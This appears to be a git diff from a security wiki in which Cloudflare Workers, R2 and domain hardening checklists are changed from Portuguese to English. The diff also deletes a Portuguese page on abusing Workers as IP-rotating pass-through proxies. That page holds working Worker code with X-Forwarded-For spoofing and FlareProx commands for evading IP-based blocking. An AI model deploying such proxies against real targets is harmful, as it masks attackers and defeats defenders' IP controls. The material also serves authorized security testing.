|
||||
- [ ] Em **`Settings`**, verifique por **`Variables`** contendo **informações sensíveis**
|
||||
- [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em locais onde o usuário pode controlar o input)
|
||||
- Verifique SSRFs que retornem a página indicada que você consegue controlar
|
||||
- Verifique XSSs que executem JS dentro de uma imagem svg
|
||||
- É possível que o worker interaja com outros serviços internos. Por exemplo, um worker pode interagir com um bucket R2 armazenando informações nele obtidas a partir do input. Nesse caso, é necessário verificar quais capacidades o worker tem sobre o bucket R2 e como isso poderia ser abusado a partir do input do usuário.
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que por padrão um **Worker recebe uma URL** como `<worker-name>.<account>.workers.dev`. O usuário pode configurá-la para um **subdomínio** mas você sempre pode acessá-la com aquela **URL original** se souber.
|
||||
|
||||
Para um abuso prático de Workers como proxies pass-through (IP rotation, estilo FireProx), verifique:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
## R2
|
||||
|
||||
Em cada bucket R2 verifique:
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configure a **política de CORS**.
|
||||
- [ ] Configure **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -76,8 +70,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] Se possível, execute um **`Security Insights`** **scan** e um **`Infrastructure`** **scan**, pois eles irão **destacar** informações interessantes do ponto de vista **de segurança**.
|
||||
- [ ] Apenas **verifique essa informação** em busca de misconfigurações de segurança e informações interessantes
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -94,47 +88,50 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Verifique se as **expressões** e **regras** para redirects **fazem sentido**.
|
||||
- [ ] Verifique também por **endpoints ocultos sensíveis** que possam conter informações interessantes.
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Verifique as **notificações.** Estas notificações são recomendadas para segurança:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Verifique todos os **destinos**, pois pode haver **informações sensíveis** (basic http auth) nas webhook urls. Certifique-se também de que as webhook urls usem **HTTPS**
|
||||
- [ ] Como verificação extra, você pode tentar **personificar uma notificação do Cloudflare** para um terceiro — talvez você consiga de alguma forma **injetar algo perigoso**
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] É possível ver os **últimos 4 dígitos do cartão**, **data de expiração** e **endereço de cobrança** em **`Billing` -> `Payment info`**.
|
||||
- [ ] É possível ver o **tipo de plano** utilizado na conta em **`Billing` -> `Subscriptions`**.
|
||||
- [ ] Em **`Members`** é possível ver todos os membros da conta e sua **role**. Note que se o tipo de plano não for Enterprise, apenas 2 roles existem: Administrator and Super Administrator. Mas se o plano usado for Enterprise, [**mais roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) podem ser usadas para seguir o princípio de menor privilégio.
|
||||
- Portanto, sempre que possível é **recomendado** usar o **plano Enterprise**.
|
||||
- [ ] Em Membros é possível verificar quais **membros** têm **2FA ativado**. **Todo** usuário deve tê-lo ativado.
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que felizmente a role **`Administrator`** não dá permissões para gerenciar memberships (**não pode escalar privilégios nem convidar** novos membros)
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
# Domínios Cloudflare
|
||||
# Cloudflare Domains
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Em cada TLD configurado no Cloudflare, existem algumas **configurações e serviços gerais** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Visão Geral
|
||||
### Overview
|
||||
|
||||
- [ ] Tenha uma noção de **quanto** os serviços da conta **são utilizados**
|
||||
- [ ] Encontre também o **ID da zona** e o **ID da conta**
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
|
||||
### Análise
|
||||
### Analytics
|
||||
|
||||
- [ ] Em **`Segurança`**, verifique se há alguma **limitação de taxa**
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Verifique dados **interessantes** (sensíveis?) nos **registros DNS**
|
||||
- [ ] Verifique por **subdomínios** que podem conter **informações sensíveis** apenas com base no **nome** (como admin173865324.domin.com)
|
||||
- [ ] Verifique por páginas da web que **não estão** **protegidas**
|
||||
- [ ] Verifique por **páginas da web protegidas** que podem ser **acessadas diretamente** por CNAME ou endereço IP
|
||||
- [ ] Verifique se o **DNSSEC** está **ativado**
|
||||
- [ ] Verifique se o **CNAME Flattening** está **usado** em **todos os CNAMEs**
|
||||
- Isso pode ser útil para **ocultar vulnerabilidades de takeover de subdomínio** e melhorar os tempos de carregamento
|
||||
- [ ] Verifique se os domínios [**não são vulneráveis a spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
|
||||
@@ -36,82 +36,82 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Visão Geral**
|
||||
#### **Overview**
|
||||
|
||||
- [ ] A **criptografia SSL/TLS** deve ser **Completa** ou **Completa (Estrita)**. Qualquer outra opção enviará **tráfego em texto claro** em algum momento.
|
||||
- [ ] O **Recomendador SSL/TLS** deve estar ativado
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
|
||||
#### Certificados de Edge
|
||||
#### Edge Certificates
|
||||
|
||||
- [ ] **Sempre Usar HTTPS** deve estar **ativado**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** deve estar **ativado**
|
||||
- [ ] **Versão mínima do TLS deve ser 1.2**
|
||||
- [ ] **TLS 1.3 deve estar ativado**
|
||||
- [ ] **Reescritas automáticas de HTTPS** devem estar **ativadas**
|
||||
- [ ] **Monitoramento de Transparência de Certificado** deve estar **ativado**
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
|
||||
### **Segurança**
|
||||
### **Security**
|
||||
|
||||
- [ ] Na seção **`WAF`**, é interessante verificar se as **regras de Firewall** e **limitação de taxa estão sendo usadas** para prevenir abusos.
|
||||
- A ação **`Bypass`** irá **desativar as funcionalidades de segurança** do Cloudflare para uma solicitação. Não deve ser usada.
|
||||
- [ ] Na seção **`Page Shield`**, é recomendado verificar se está **ativado** se alguma página estiver em uso
|
||||
- [ ] Na seção **`API Shield`**, é recomendado verificar se está **ativado** se alguma API estiver exposta no Cloudflare
|
||||
- [ ] Na seção **`DDoS`**, é recomendado ativar as **proteções DDoS**
|
||||
- [ ] Na seção **`Configurações`**:
|
||||
- [ ] Verifique se o **`Nível de Segurança`** está **médio** ou maior
|
||||
- [ ] Verifique se o **`Tempo de Desafio`** é de 1 hora no máximo
|
||||
- [ ] Verifique se a **`Verificação de Integridade do Navegador`** está **ativada**
|
||||
- [ ] Verifique se o **`Suporte a Privacy Pass`** está **ativado**
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
|
||||
#### **Proteção DDoS do CloudFlare**
|
||||
#### **CloudFlare DDoS Protection**
|
||||
|
||||
- Se puder, ative o **Modo de Luta contra Bots** ou **Modo de Luta contra Bots Super**. Se você estiver protegendo alguma API acessada programaticamente (de uma página front end JS, por exemplo). Você pode não conseguir ativar isso sem quebrar esse acesso.
|
||||
- Em **WAF**: Você pode criar **limites de taxa por caminho de URL** ou para **bots verificados** (regras de limitação de taxa), ou para **bloquear acesso** com base em IP, Cookie, referenciador...). Assim, você poderia bloquear solicitações que não vêm de uma página da web ou que não têm um cookie.
|
||||
- Se o ataque for de um **bot verificado**, pelo menos **adicione um limite de taxa** para bots.
|
||||
- Se o ataque for a um **caminho específico**, como mecanismo de prevenção, adicione um **limite de taxa** nesse caminho.
|
||||
- Você também pode **colocar na lista branca** endereços IP, faixas de IP, países ou ASNs nas **Ferramentas** no WAF.
|
||||
- Verifique se as **Regras Gerenciadas** também podem ajudar a prevenir explorações de vulnerabilidades.
|
||||
- Na seção **Ferramentas**, você pode **bloquear ou dar um desafio a IPs específicos** e **agentes de usuário.**
|
||||
- Em DDoS, você pode **substituir algumas regras para torná-las mais restritivas**.
|
||||
- **Configurações**: Defina o **Nível de Segurança** para **Alto** e para **Sob Ataque** se você estiver Sob Ataque e que a **Verificação de Integridade do Navegador está ativada**.
|
||||
- Em Domínios Cloudflare -> Análise -> Segurança -> Verifique se a **limitação de taxa** está ativada
|
||||
- Em Domínios Cloudflare -> Segurança -> Eventos -> Verifique se há **Eventos maliciosos detectados**
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
|
||||
### Acesso
|
||||
### Access
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Velocidade
|
||||
### Speed
|
||||
|
||||
_Não consegui encontrar nenhuma opção relacionada à segurança_
|
||||
_I couldn't find any option related to security_
|
||||
|
||||
### Cache
|
||||
### Caching
|
||||
|
||||
- [ ] Na seção **`Configuração`**, considere ativar a **Ferramenta de Escaneamento CSAM**
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
|
||||
### **Rotas de Workers**
|
||||
### **Workers Routes**
|
||||
|
||||
_Você já deve ter verificado_ [_cloudflare workers_](#workers)
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
|
||||
### Regras
|
||||
### Rules
|
||||
|
||||
TODO
|
||||
|
||||
### Rede
|
||||
### Network
|
||||
|
||||
- [ ] Se **`HTTP/2`** estiver **ativado**, **`HTTP/2 para Origem`** deve estar **ativado**
|
||||
- [ ] **`HTTP/3 (com QUIC)`** deve estar **ativado**
|
||||
- [ ] Se a **privacidade** dos seus **usuários** é importante, certifique-se de que **`Onion Routing`** está **ativado**
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
|
||||
### **Tráfego**
|
||||
### **Traffic**
|
||||
|
||||
TODO
|
||||
|
||||
### Páginas Personalizadas
|
||||
### Custom Pages
|
||||
|
||||
- [ ] É opcional configurar páginas personalizadas quando um erro relacionado à segurança é acionado (como um bloqueio, limitação de taxa ou estou no modo sob ataque)
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
|
||||
### Apps
|
||||
|
||||
@@ -119,8 +119,8 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Verifique se a **Obfuscação de Endereço de Email** está **ativada**
|
||||
- [ ] Verifique se os **Excluídos do Lado do Servidor** estão **ativados**
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,3 +131,6 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,286 +0,0 @@
|
||||
# Abusando de Cloudflare Workers como pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers podem ser implantados como pass-through proxies HTTP transparentes onde a URL alvo upstream é fornecida pelo cliente. As requisições saem da rede da Cloudflare, então o destino observa os IPs da Cloudflare em vez dos do cliente. Isso espelha a conhecida técnica FireProx no AWS API Gateway, mas usando Cloudflare Workers.
|
||||
|
||||
### Principais capacidades
|
||||
- Suporte a todos os métodos HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- O target pode ser fornecido via query parameter (?url=...), um header (X-Target-URL), ou até codificado no path (por exemplo, /https://target)
|
||||
- Os headers e o corpo são encaminhados via proxy com filtragem hop-by-hop/headers conforme necessário
|
||||
- As respostas são retransmitidas de volta, preservando o código de status e a maioria dos headers
|
||||
- Falsificação opcional do X-Forwarded-For (se o Worker defini-lo a partir de um header controlado pelo usuário)
|
||||
- Rotação extremamente rápida/fácil ao implantar múltiplos endpoints do Worker e distribuir as requisições
|
||||
|
||||
### Como funciona (fluxo)
|
||||
1) O cliente envia uma requisição HTTP para uma URL do Worker (`<name>.<account>.workers.dev` ou uma rota de domínio customizado).
|
||||
2) O Worker extrai o target a partir de um parâmetro de query (?url=...), do header X-Target-URL, ou de um segmento de path se implementado.
|
||||
3) O Worker encaminha o método, os headers e o corpo recebidos para a URL upstream especificada (filtrando headers problemáticos).
|
||||
4) A resposta upstream é transmitida de volta ao cliente através da Cloudflare; a origem vê os IPs de saída da Cloudflare.
|
||||
|
||||
### Exemplo de implementação do Worker
|
||||
- Lê a URL alvo do query param, header ou path
|
||||
- Copia um subconjunto seguro de headers e encaminha o método/corpo original
|
||||
- Opcionalmente define X-Forwarded-For usando um header controlado pelo usuário (X-My-X-Forwarded-For) ou um IP aleatório
|
||||
- Adiciona CORS permissivo e lida com preflight
|
||||
|
||||
<details>
|
||||
<summary>Exemplo de Worker (JavaScript) para pass-through proxying</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatizando implantação e rotação com FlareProx
|
||||
|
||||
FlareProx é uma ferramenta em Python que usa a Cloudflare API para implantar vários Worker endpoints e rotacionar entre eles. Isso fornece rotação de IP similar ao FireProx na rede da Cloudflare.
|
||||
|
||||
Configuração
|
||||
1) Crie um Cloudflare API Token usando o template “Edit Cloudflare Workers” e obtenha seu Account ID no painel.
|
||||
2) Configure o FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Crie o arquivo de configuração flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Uso do CLI**
|
||||
|
||||
- Criar N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Listar endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Endpoints de verificação de integridade:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Excluir todos os endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Roteamento de tráfego através de um Worker**
|
||||
- Formato por parâmetro de query:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Formato do cabeçalho:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Formato do caminho (se implementado):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Exemplos de métodos:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` controle**
|
||||
|
||||
Se o Worker respeitar `X-My-X-Forwarded-For`, você pode influenciar o valor upstream de `X-Forwarded-For`:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Uso programático**
|
||||
|
||||
Use a biblioteca FlareProx para criar/listar/testar endpoints e rotear requisições a partir do Python.
|
||||
|
||||
<details>
|
||||
<summary>Exemplo em Python: Enviar um POST via um endpoint Worker aleatório</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Integração Burp/Scanner**
|
||||
- Aponte as ferramentas (por exemplo, Burp Suite) para a URL do Worker.
|
||||
- Forneça o upstream real usando ?url= ou X-Target-URL.
|
||||
- A semântica HTTP (methods/headers/body) é preservada enquanto mascara seu IP de origem atrás do Cloudflare.
|
||||
|
||||
**Notas operacionais e limites**
|
||||
- O plano Free do Cloudflare Workers permite aproximadamente 100.000 requisições/dia por conta; use múltiplos endpoints para distribuir o tráfego se necessário.
|
||||
- Workers rodam na rede do Cloudflare; muitos alvos verão apenas IPs/ASN do Cloudflare, o que pode contornar listas simples de permissão/negação por IP ou heurísticas geográficas.
|
||||
- Use com responsabilidade e somente com autorização. Respeite o ToS e o robots.txt.
|
||||
|
||||
## Referências
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
